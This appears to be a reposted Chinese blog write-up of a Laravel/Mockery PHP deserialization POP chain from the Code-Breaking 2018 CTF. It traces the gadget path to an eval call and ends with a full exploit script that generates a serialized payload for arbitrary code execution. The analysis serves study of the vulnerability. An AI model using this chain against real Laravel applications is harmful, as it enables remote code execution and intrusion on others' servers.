Laravel mockery组件反序列化POP链分析

2019-08-05 约 232 字 预计阅读 2 分钟

声明:本文 【Laravel mockery组件反序列化POP链分析】 由作者 Smi1e 于 2019-08-05 07:32:00 首发 先知社区 曾经 浏览数 30 次

感谢 Smi1e 的辛苦付出!

昨天p牛在小密圈发布了Code-Breaking 2018 lumenserial题目的官方反序列化payload,在这里简单分析一下。

首先入口点利用的依然是类Illuminate\Broadcasting\PendingBroadcast__destruct方法。

接着调用的是类Illuminate\Bus\Dispatcherdispatch方法

这里需要进入$this->dispatchToQueue,因此需要满足if条件,第一个条件就不用说了,跟进$this->commandShouldBeQueued

需要$command也就是$this->event实现了ShouldQueue接口。
我们可以通过全局搜索来找,具体使用哪个类可能还需要根据后面的利用条件来选择,p牛这里用的是Illuminate\Broadcasting\BroadcastEvent

继续跟进$this->dispatchToQueue($command),可以看到这里有一个任意方法调用。方法可控,参数$connection等于$command->connection

这里p牛利用的是类Mockery\Loader\EvalLoaderload方法

可以看到下面的eval可以利用,但我们需要先绕过if条件,也就是让class_exists($definition->getClassName(), false)返回false。这里的$definition也就是$this->event->connection的类型必须是Mockery\Generator\MockDefinition类的对象。

<?php
namespace Mockery\Generator;

class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new \InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }

    public function getCode()
    {
        return $this->code;
    }
}

这里的getClassName方法返回的是$this->config->getName(),我们只需要找到一个含有getName方法且返回值可控的类,让其返回一个不存在的类名即可。
Mockery\Generator\MockConfiguration

最后进入eval("?>" . $definition->getCode());,getCode的返回值我们依然可控。

最终实现任意代码执行。

exp:

<?php
namespace Illuminate\Broadcasting{
  class PendingBroadcast
  {
    protected $event;
    protected $events;

    public function __construct($events,$event)
    {
      $this->events = $events;
      $this->event = $event;
    }
  }
}

namespace Illuminate\Bus{
  class Dispatcher
  {
    protected $queueResolver;

    public function __construct($queueResolver)
    {
      $this->queueResolver = $queueResolver;
    }
  }
}

namespace Illuminate\Broadcasting{
  class BroadcastEvent
  {
    public $connection;

    public function __construct($connection)
    {
      $this->connection = $connection;
    }
  }
}


namespace Mockery\Generator{
  class MockDefinition
  {
    protected $config;
    protected $code = '<?php phpinfo();?>';

    public function __construct($config)
    {
      $this->config = $config;
    }
  }
}

namespace Mockery\Generator{
  class MockConfiguration
  {
    protected $name = '1234';
  }
}

namespace Mockery\Loader{
  class EvalLoader
  {
     public function load(MockDefinition $definition)
     {

     }
  }
}

namespace{
  $Mockery = new Mockery\Loader\EvalLoader();
  $queueResolver = array($Mockery, "load");
  $MockConfiguration = new Mockery\Generator\MockConfiguration();
  $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
  $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
  $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
  $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
  echo urlencode(serialize($PendingBroadcast));
}
?>

ps: phpstorm真香

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now